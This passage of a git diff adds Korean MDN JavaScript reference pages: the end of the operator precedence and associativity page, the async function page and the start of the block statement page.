+<p>좌결합성(왼쪽에서 오른쪽으로)은 표현식이 <code>(a 연산자<sub>1</sub> b) 연산자<sub>2</sub> c</code>와 같이, 우결합성(오른쪽에서 왼쪽으로)은 <code>a 연산자<sub>1</sub> (b 연산자<sub>2</sub> c)</code>와 같이 계산된다는 의미입니다. 대입 연산자는 우결합성이므로 다음과 같은 코드를 작성할 수 있습니다.</p>
+
+<pre class="brush: js">a = b = 5; // a = (b = 5);와 같음
+</pre>
+
+<p>이때 대입 연산자는 대입된 값을 반환하므로 <code>a</code>와 <code>b</code>의 값이 5가 됨을 예상할 수 있습니다. 우선 <code>b</code>의 값이 5로 설정되고, 그 다음에는 <code>a</code>의 값이 우변인 <code>b = 5</code>의 반환값 5로 설정됩니다.</p>
+
+<p>다른 예시로, 좌결합성인 다른 산술 연산자와 달리 거듭제곱 연산자 (<code>**</code>)만은 우결합성입니다. 흥미로운 점으로 표현식의 평가는 결합성과 무관하게 항상 왼쪽에서 오른쪽으로 진행됩니다.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>코드</td>
+   <td>출력</td>
+  </tr>
+  <tr>
+   <td>
+    <pre class="brush: js">
+function echo(name, num) {
+    console.log(name + " 항 평가함");
+    return num;
+}
+// 나눗셈 연산자 (/)에 주목
+console.log(echo("첫째", 6) / echo("둘째", 2));
+</pre>
+   </td>
+   <td>
+    <pre>
+첫째 항 평가함
+둘째 항 평가함
+3
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <pre class="brush: js">
+function echo(name, num) {
+    console.log(name + " 항 평가함");
+    return num;
+}
+// 거듭제곱 연산자 (**)에 주목
+console.log(echo("첫째", 2) ** echo("둘째", 3));</pre>
+   </td>
+   <td>
+    <pre>
+첫째 항 평가함
+둘째 항 평가함
+8</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>여러 연산자의 우선순위가 같을 때는 결합성을 고려합니다. 위에서와 같이 연산자가 하나이거나 연산자끼리 우선순위가 다를 경우에는 결합성이 결과에 영향을 미치지 않습니다. 아래의 예제에서 같은 종류의 연산자를 여러 번 사용했을 때 결합성이 결과에 영향을 미치는 것을 확인할 수 있습니다.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>코드</td>
+   <td>출력</td>
+  </tr>
+  <tr>
+   <td>
+    <pre class="brush: js">
+function echo(name, num) {
+    console.log(name + " 항 평가함");
+    return num;
+}
+// 나눗셈 연산자 (/)에 주목
+console.log(echo("첫째", 6) / echo("둘째", 2) / echo("셋째", 3));
+</pre>
+   </td>
+   <td>
+    <pre>
+첫째 항 평가함
+둘째 항 평가함
+셋째 항 평가함
+1
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <pre class="brush: js">
+function echo(name, num) {
+    console.log(name + " 항 평가함");
+    return num;
+}
+// 거듭제곱 연산자 (**)에 주목
+console.log(echo("첫째", 2) ** echo("둘째", 3) ** echo("셋째", 2));
+</pre>
+   </td>
+   <td>
+    <pre>
+첫째 항 평가함
+둘째 항 평가함
+셋째 항 평가함
+512
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <pre class="brush: js">
+function echo(name, num) {
+    console.log(name + " 항 평가함");
+    return num;
+}
+// 첫 번째 거듭제곱 연산자 주변의 괄호에 주목
+console.log((echo("첫째", 2) ** echo("둘째", 3)) ** echo("셋째", 2));</pre>
+   </td>
+   <td>
+    <pre>
+첫째 항 평가함
+둘째 항 평가함
+셋째 항 평가함
+64</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>위의 예제에서 나눗셈은 좌결합성이므로 <code>6 / 3 / 2</code>는 <code>(6 / 3) / 2</code>와 같습니다. 한편 거듭제곱은 우결합성이므로 <code>2 ** 3 ** 2</code>는 <code>2 ** (3 ** 2)</code>와 같습니다. 그러므로 <code>(2 ** 3) ** 2</code>는 괄호로 인해 실행 순서가 바뀌기 때문에 위 표와 같이 64로 평가됩니다.</p>
+
+<p>우선순위는 결합성보다 항상 우선하므로, 거듭제곱과 나눗셈을 같이 사용하면 나눗셈보다 거듭제곱이 먼저 계산됩니다. 예를 들어 <code>2 ** 3 / 3 ** 2</code>는 <code>(2 ** 3) / (3 ** 2)</code>와 같으므로 0.8888888888888888로 계산됩니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">3 &gt; 2 &amp;&amp; 2 &gt; 1
+// true를 반환
+
+3 &gt; 2 &gt; 1
+// 3 &gt; 2는 true인데, 부등호 연산자에서 true는 1로 변환되므로
+// true &gt; 1은 1 &gt; 1이 되고, 이는 거짓이다.
+// 괄호를 추가하면 (3 &gt; 2) &gt; 1과 같다.</pre>
+
+<h2 id="표">표</h2>
+
+<p>다음 표는 우선순위 내림차순(21부터 1까지)으로 정렬되어 있습니다.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>우선순위</th>
+   <th>연산자 유형</th>
+   <th>결합성</th>
+   <th>연산자</th>
+  </tr>
+  <tr>
+   <td>21</td>
+   <td>{{jsxref("Operators/Grouping", "그룹", "", 1)}}</td>
+   <td>없음</td>
+   <td><code>( … )</code></td>
+  </tr>
+  <tr>
+   <td colspan="1" rowspan="5">20</td>
+   <td>{{jsxref("Operators/Property_Accessors", "멤버 접근", "#점_표기법", 1)}}</td>
+   <td>좌결합성</td>
+   <td><code>… . …</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Operators/Property_Accessors", "계산된 멤버 접근","#괄호_표기법", "1")}}</td>
+   <td>좌결합성</td>
+   <td><code>… [ … ]</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Operators/new","new")}} (매개변수 리스트 존재)</td>
+   <td>없음</td>
+   <td><code>new … ( … )</code></td>
+  </tr>
+  <tr>
+   <td>
+    <p><a href="/ko/docs/Web/JavaScript/Guide/Functions">함수 호출</a></p>
+   </td>
+   <td>좌결합성</td>
+   <td><code>… ( <var>… </var>)</code></td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Optional_chaining">Optional chaining</a></td>
+   <td>좌결합성</td>
+   <td><code>?.</code></td>
+  </tr>
+  <tr>
+   <td rowspan="1">19</td>
+   <td>{{jsxref("Operators/new","new")}} (매개변수 리스트 생략)</td>
+   <td>우결합성</td>
+   <td><code>new …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="2">18</td>
+   <td>{{jsxref("Operators/Arithmetic_Operators","후위 증가","#Increment", 1)}}</td>
+   <td colspan="1" rowspan="2">없음</td>
+   <td><code>… ++</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Operators/Arithmetic_Operators","후위 감소","#Decrement", 1)}}</td>
+   <td><code>… --</code></td>
+  </tr>
+  <tr>
+   <td colspan="1" rowspan="10">17</td>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_NOT">논리 NOT</a></td>
+   <td colspan="1" rowspan="10">우결합성</td>
+   <td><code>! …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_NOT">비트 NOT</a></td>
+   <td><code>~ …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Unary_plus">단항 양부호</a></td>
+   <td><code>+ …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Unary_negation">단항 부정</a></td>
+   <td><code>- …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Increment">전위 증가</a></td>
+   <td><code>++ …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Decrement">전위 감소</a></td>
+   <td><code>-- …</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Operators/typeof", "typeof")}}</td>
+   <td><code>typeof …</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Operators/void", "void")}}</td>
+   <td><code>void …</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Operators/delete", "delete")}}</td>
+   <td><code>delete …</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Operators/await", "await")}}</td>
+   <td><code>await …</code></td>
+  </tr>
+  <tr>
+   <td>16</td>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Exponentiation">거듭제곱</a></td>
+   <td>우결합성</td>
+   <td><code>… ** …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="3">15</td>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Multiplication">곱셈</a></td>
+   <td colspan="1" rowspan="3">좌결합성</td>
+   <td><code>… * …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Division">나눗셈</a></td>
+   <td><code>… / …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Remainder">나머지</a></td>
+   <td><code>… % …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="2">14</td>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Addition">덧셈</a></td>
+   <td colspan="1" rowspan="2">좌결합성</td>
+   <td><code>… + …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Subtraction">뺄셈</a></td>
+   <td><code>… - …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="3">13</td>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">비트 왼쪽 시프트</a></td>
+   <td colspan="1" rowspan="3">좌결합성</td>
+   <td><code>… &lt;&lt; …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">비트 오른쪽 시프트</a></td>
+   <td><code>… &gt;&gt; …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">비트 부호 없는 오른쪽 시프트</a></td>
+   <td><code>… &gt;&gt;&gt; …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="6">12</td>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Less_than_operator">미만</a></td>
+   <td colspan="1" rowspan="6">좌결합성</td>
+   <td><code>… &lt; …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Less_than__or_equal_operator">이하</a></td>
+   <td><code>… &lt;= …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Greater_than_operator">초과</a></td>
+   <td><code>… &gt; …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Greater_than_or_equal_operator">이상</a></td>
+   <td><code>… &gt;= …</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Operators/in", "in")}}</td>
+   <td><code>… in …</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Operators/instanceof", "instanceof")}}</td>
+   <td><code>… instanceof …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="4">11</td>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Equality">동등</a></td>
+   <td colspan="1" rowspan="4">좌결합성</td>
+   <td><code>… == …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Inequality">부등</a></td>
+   <td><code>… != …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Identity">일치</a></td>
+   <td><code>… === …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Nonidentity">불일치</a></td>
+   <td><code>… !== …</code></td>
+  </tr>
+  <tr>
+   <td>10</td>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_AND">비트 AND</a></td>
+   <td>좌결합성</td>
+   <td><code>… &amp; …</code></td>
+  </tr>
+  <tr>
+   <td>9</td>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_XOR">비트 XOR</a></td>
+   <td>좌결합성</td>
+   <td><code>… ^ …</code></td>
+  </tr>
+  <tr>
+   <td>8</td>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_OR">비트 OR</a></td>
+   <td>좌결합성</td>
+   <td><code>… | …</code></td>
+  </tr>
+  <tr>
+   <td>7</td>
+   <td><a href="https://wiki.developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Nullish_coalescing_operator">널 병합 연산자</a></td>
+   <td>좌결합성</td>
+   <td><code>… ?? …</code></td>
+  </tr>
+  <tr>
+   <td>6</td>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_AND">논리 AND</a></td>
+   <td>좌결합성</td>
+   <td><code>… &amp;&amp; …</code></td>
+  </tr>
+  <tr>
+   <td>5</td>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_OR">논리 OR</a></td>
+   <td>좌결합성</td>
+   <td><code>… || …</code></td>
+  </tr>
+  <tr>
+   <td>4</td>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Conditional_Operator">조건</a></td>
+   <td>우결합성</td>
+   <td><code>… ? … : …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="13">3</td>
+   <td rowspan="13"><a href="/ko/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">할당</a></td>
+   <td rowspan="13">우결합성</td>
+   <td><code>… = …</code></td>
+  </tr>
+  <tr>
+   <td><code>… += …</code></td>
+  </tr>
+  <tr>
+   <td><code>… -= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… **= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… *= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… /= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… %= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… &lt;&lt;= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… &gt;&gt;= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… &gt;&gt;&gt;= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… &amp;= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… ^= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… |= …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="2">2</td>
+   <td>{{jsxref("Operators/yield", "yield")}}</td>
+   <td colspan="1" rowspan="2">우결합성</td>
+   <td><code>yield …</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Operators/yield*", "yield*")}}</td>
+   <td><code>yield* …</code></td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comma_Operator">쉼표 / 시퀀스</a></td>
+   <td>좌결합성</td>
+   <td><code>… , …</code></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/javascript/reference/statements/async_function/index.html b/files/ko/web/javascript/reference/statements/async_function/index.html
new file mode 100644
index 0000000000..5a986c8af4
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/async_function/index.html
@@ -0,0 +1,243 @@
+---
+title: async function
+slug: Web/JavaScript/Reference/Statements/async_function
+tags:
+  - Example
+  - JavaScript
+  - Promise
+  - async
+  - await
+translation_of: Web/JavaScript/Reference/Statements/async_function
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><code><strong>async function</strong></code> 선언은 {{jsxref("Global_Objects/AsyncFunction","AsyncFunction")}}객체를 반환하는 하나의 비동기 함수를 정의합니다. 비동기 함수는 이벤트 루프를 통해 비동기적으로 작동하는 함수로, 암시적으로 {{jsxref("Promise")}}를 사용하여 결과를 반환합니다. 그러나 비동기 함수를 사용하는 코드의 구문과 구조는, 표준 동기 함수를 사용하는것과 많이 비슷합니다.</p>
+
+<div class="noinclude">
+<p>또한 {{jsxref("Operators/async_function", "async function expression", "", 1)}}을 사용해서 async function을 선언할 수 있습니다.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-async.html", "taller")}}</div>
+
+<div class="hidden">
+<p>이 데모에 대한 소스가 여기에 있다. 기여하고싶다면 다음의 주소에서 Clone하고 pull request하라 : <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a></p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate" dir="rtl">async function <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+    <em>statements</em>
+}
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>함수의 이름.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>함수에게 전달되기 위한 인자의 이름.</dd>
+</dl>
+
+<dl>
+ <dt><code>statements</code></dt>
+ <dd><font face="Consolas, Liberation Mono, Courier, monospace">함수본문을 구성하는 내용.</font></dd>
+ <dt>
+ <h3 id="반환_값"><font face="Consolas, Liberation Mono, Courier, monospace">반환 값</font></h3>
+
+ <p>Promise : async 함수에 의해 반환 된 값으로 해결되거나 async함수 내에서 발생하는 캐치되지 않는 예외로 거부되는 값.</p>
+ </dt>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p><code>async</code> 함수에는 {{jsxref ( "Operators / await", "await")}}식이 포함될 수 있습니다. 이 식은 <code>async</code> 함수의 실행을 일시 중지하고 전달 된 <code>Promise</code>의 해결을 기다린 다음 <code>async</code> 함수의 실행을 다시 시작하고 완료후 값을 반환합니다.</p>
+
+<div class="blockIndicator note">
+<p><code>await</code> 키워드는 <code>async</code> 함수에서만 유효하다는 것을 기억하십시오. <code>async</code> 함수의 본문 외부에서 사용하면 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError</a>가 발생합니다.</p>
+</div>
+
+<div class="note">
+<p>async/await함수의 목적은 사용하는 여러 promise의 동작을 동기스럽게 사용할 수 있게 하고, 어떠한 동작을 여러 promise의 그룹에서 간단하게 동작하게 하는 것이다.<br>
+ promise가 구조화된 callback과 유사한 것 처럼 async/await또한 제네레이터(generator)와 프로미스(promise)를 묶는것과 유사하다.</p>
+</div>
+
+<p><code>async</code> 함수는 항상 promise를 반환합니다. 만약 <code>async</code> 함수의 반환값이 명시적으로 promise가 아니라면 암묵적으로 promise로 감싸집니다.</p>
+
+<p>예를 들어</p>
+
+<pre class="notranslate">async function foo() {
+    return 1
+}</pre>
+
+<p>위 코드는 아래와 같습니다.</p>
+
+<pre class="notranslate">function foo() {
+    return Promise.resolve(1)
+}</pre>
+
+<p><code>async</code> 함수의 본문은 0개 이상의 <code>await</code> 문으로 분할된 것으로 생각할 수 있습니다. 첫번째 <code>await</code> 문을 포함하는 최상위 코드는 동기적으로 실행됩니다. 따라서 <code>await</code> 문이 없는 <code>async</code> 함수는 동기적으로 실행됩니다. 하지만 <code>await</code> 문이 있다면 <code>async</code> 함수는 항상 비동기적으로 완료됩니다.</p>
+
+<p>예를 들어</p>
+
+<pre class="notranslate">async function foo() {
+    await 1
+}</pre>
+
+<p>위 코드는 아래와 같습니다.</p>
+
+<pre class="notranslate">function foo() {
+    return Promise.resolve(1).then(() =&gt; undefined)
+}
+</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Simple_example">Simple example</h3>
+
+<pre class="notranslate"><code>var resolveAfter2Seconds = function() {
+  console.log("starting slow promise");
+  return new Promise(resolve =&gt; {
+    setTimeout(function() {
+      resolve(20);
+      console.log("slow promise is done");
+    }, 2000);
+  });
+};
+
+var resolveAfter1Second = function() {
+  console.log("starting fast promise");
+  return new Promise(resolve =&gt; {
+    setTimeout(function() {
+      resolve(10);
+      console.log("fast promise is done");
+    }, 1000);
+  });
+};
+
+var sequentialStart = async function() {
+  console.log('==SEQUENTIAL START==');
+
+  // If the value of the expression following the await operator is not a Promise, it's converted to a resolved Promise.
+  const slow = await resolveAfter2Seconds();
+  console.log(slow);
+
+  const fast = await resolveAfter1Second();
+  console.log(fast);
+}
+
+var concurrentStart = async function() {
+  console.log('==CONCURRENT START with await==');
+  const slow = resolveAfter2Seconds(); // starts timer immediately
+  const fast = resolveAfter1Second();
+
+  console.log(await slow);
+  console.log(await fast); // waits for slow to finish, even though fast is already done!
+}
+
+var stillConcurrent = function() {
+  console.log('==CONCURRENT START with Promise.all==');
+  Promise.all([resolveAfter2Seconds(), resolveAfter1Second()]).then((messages) =&gt; {
+    console.log(messages[0]); // slow
+    console.log(messages[1]); // fast
+  });
+}
+
+var parallel = function() {
+  console.log('==PARALLEL with Promise.then==');
+  resolveAfter2Seconds().then((message)=&gt;console.log(message));
+  resolveAfter1Second().then((message)=&gt;console.log(message));
+}
+
+sequentialStart(); // after 2 seconds, logs "slow", then after 1 more second, "fast"
+// wait above to finish
+setTimeout(concurrentStart, 4000); // after 2 seconds, logs "slow" and then "fast"
+// wait again
+setTimeout(stillConcurrent, 7000); // same as concurrentStart
+// wait again
+setTimeout(parallel, 10000); // trully parallel: after 1 second, logs "fast", then after 1 more second, "slow"</code></pre>
+
+<div class="warning">
+<h4 id="await_와_Promisethen을_혼동하지_마세요"><code>await</code> 와 <code>Promise#then</code>을 혼동하지 마세요</h4>
+
+<p><code>sequentialStart</code> 에서, 첫 번째 <code>await</code>는 2초의 대기 시간을 갖고,  다시 두 번째 <code>await</code>에서 1초의 대기 시간을 갖습니다. 두 번째 타이머는 첫 번째 타이머가 완료될 때 까지 생성되지 않습니다.</p>
+
+<p><code>concurrentStart</code> 에서, 두 타이머 모두 생성 된 다음 <code>await</code> 합니다. 타이머가 동시에 실행되고 있지만, <code>await</code> 호출은 여전히 연속적 실행중이므로, 두 번째 <code>await</code> 는 첫 번째 호출이 끝날 때 까지 대기합니다. 이렇게하면 3초가 아니라, 가장 느린 타이머에 필요한 2초가 필요합니다. <code>stillConcurrent</code> 에서도 <code>Promise.all</code> 을 사용하여 같은 일이 발생합니다.</p>
+
+<p>두 개 이상의 프러미스를 동시에 wait 하고 싶다면, <code>Promise#then</code>을 사용하여 예제와 같이 <code>parallel</code> 를 수행할 수 있습니다.</p>
+</div>
+
+<h3 id="async함수를_사용한_promise_chain_재작성"><code>async</code>함수를 사용한 promise chain 재작성</h3>
+
+<p>{{jsxref("Promise")}} 를 반환하는 API는 promise chain을 만들며 여러 파트의 함수로 나뉜다.<br>
+ 아래 코드를 보자.</p>
+
+<pre class="brush: js notranslate">function getProcessedData(url) {
+  return downloadData(url) // returns a promise
+    .catch(e =&gt; {
+      return downloadFallbackData(url) // returns a promise
+    })
+    .then(v =&gt; {
+      return processDataInWorker(v); // returns a promise
+    });
+}
+</pre>
+
+<p>위의 코드는 하나의 async함수로 아래와 같이 쓰여질 수도 있다.</p>
+
+<pre class="brush: js notranslate">async function getProcessedData(url) {
+  let v;
+  try {
+    v = await downloadData(url);
+  } catch (e) {
+    v = await downloadFallbackData(url);
+  }
+  return processDataInWorker(v);
+}
+</pre>
+
+<p>위 예제에서는 return 구문에 await 구문이 없다는 것에 주목하자. 이는 async function의 반환값이 암묵적으로 {{jsxref("Promise.resolve")}}로 감싸지기 때문이다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-async-function-definitions', 'async function')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Initial definition in ES2017.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES8', '#sec-async-function-definitions', 'async function')}}</td>
+   <td>{{Spec2('ES8')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.statements.async_function")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{jsxref("Operators/async_function", "async function expression")}}</li>
+ <li>{{jsxref("AsyncFunction")}} object</li>
+ <li>{{jsxref("Operators/await", "await")}}</li>
+ <li><a href="http://innolitics.com/10x/javascript-decorators-for-promise-returning-functions/">"Decorating Async Javascript Functions" on "innolitics.com"</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/block/index.html b/files/ko/web/javascript/reference/statements/block/index.html
new file mode 100644
index 0000000000..aab5d0dc3f
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/block/index.html
@@ -0,0 +1,132 @@
+---
+title: block
+slug: Web/JavaScript/Reference/Statements/block
+tags:
+  - JavaScript
+  - Reference
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/block
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong>블록문</strong>(또는 다른 언어에서는 복합문)은 0개 이상의 구문을 묶을 때 사용합니다. 블록은 한 쌍의 중괄호로 구성하며 선택적으로 {{jsxref("Statements/label", "이름", "", 0)}}을 붙일 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-block.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<h3 id="블록문">블록문</h3>
+
+<pre class="syntaxbox">{
+  <em>StatementList</em>
+}</pre>
+
+<h3 id="유명_블록문">유명 블록문</h3>
+
+<pre class="syntaxbox"><em>LabelIdentifier</em>: {
+  <em>StatementList</em>
+}
+</pre>
+
+<dl>
+ <dt><code>StatementList</code></dt>
+ <dd>블록문 내의 문.</dd>
+ <dt><code>LabelIdentifier</code></dt>
+ <dd>시각적인 구분, 또는 {{jsxref("Statements/break", "break")}}문의 대상으로 쓸 {{jsxref("Statements/label", "label")}}.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>다른 언어에서 블록문은 <strong>복합문</strong>이라고 부르기도 합니다. 블록문을 쓰면 JavaScript가 하나의 문을 기대하는 곳에서 다수의 문을 실행할 수 있습니다. JavaScript에서 이렇게 문을 묶는건 흔히 쓰이는 기법입니다. 반대 개념으로는 {{jsxref("Statements/empty", "공백문", "", 0)}}이 있으며, 이는 하나의 문을 기대하는 곳에 아무것도 제공하지 않는 것입니다.</p>
+
+<h3 id="블록_범위_규칙">블록 범위 규칙</h3>
+
+<h4 id="var_사용_시"><code>var</code> 사용 시</h4>
+
+<p>{{jsxref("Statements/var", "var")}}로 선언한 변수는 블록 범위를 <strong>가지지 않습니다</strong>. 블록 내에서 선언한 변수의 범위는 함수나 스크립트가 되어, 값 할당의 영향이 블록 바깥까지 미칩니다. 다른 말로는 블록문이 범위를 만들지 않습니다. "독립" 블록문도 유효한 구문이긴 하지만, C와 Java의 블록에 기대하는걸 JavaScript에서도 기대하면 안됩니다. 예를 들어보겠습니다.</p>
+
+<pre class="brush: js example-bad">var x = 1;
+{
+  var x = 2;
+}
+console.log(x); // 2 기록</pre>
+
+<p>콘솔 출력 결과는 2입니다. 블록 밖의 <code>var x</code>와 블록 안의 <code>var x</code>는 같은 범위에 속하기 때문입니다. C나 Java에서 같은 코드를 작성한다면 1을 출력할 것입니다.</p>
+
+<h4 id="let과_const_사용_시"><code>let</code>과 <code>const</code> 사용 시</h4>
+
+<p>반면 {{jsxref("Statements/let", "let")}}과 {{jsxref("Statements/const", "const")}}로 선언한 식별자는 블록 범위를 <strong>가집니다</strong>.</p>
+
+<pre class="brush: js">let x = 1;
+{
+  let x = 2;
+}
+console.log(x); // 1 기록
+</pre>
+
+<p><code>x = 2</code>는 선언한 블록으로 범위가 제한됩니다.</p>
+
+<p><code>const</code>도 마찬가지입니다.</p>
+
+<pre class="brush: js">const c = 1;
+{
+  const c = 2;
+}
+console.log(c); // 1 기록, SyntaxError 없음</pre>
+
+<p>블록 내의 <code>const c = 2</code>가 <code>SyntaxError: Identifier 'c' has already been declared</code>를 던지지 않는 점에 주목하세요. 블록 범위 안이라 별개의 식별자이기 때문입니다.</p>
+
+<p>ES2015의 <a href="/ko/docs/Web/JavaScript/Reference/Strict_mode">엄격 모드</a>부터, 블록 내의 함수는 해당 블록으로 범위가 제한됩니다. ES2015 이전의 엄격 모드에서는 블록 레벨 함수를 사용할 수 없었습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-block', 'Block statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-block', 'Block statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.1', 'Block statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-12.1', 'Block statement')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td></td>
+  </tr>
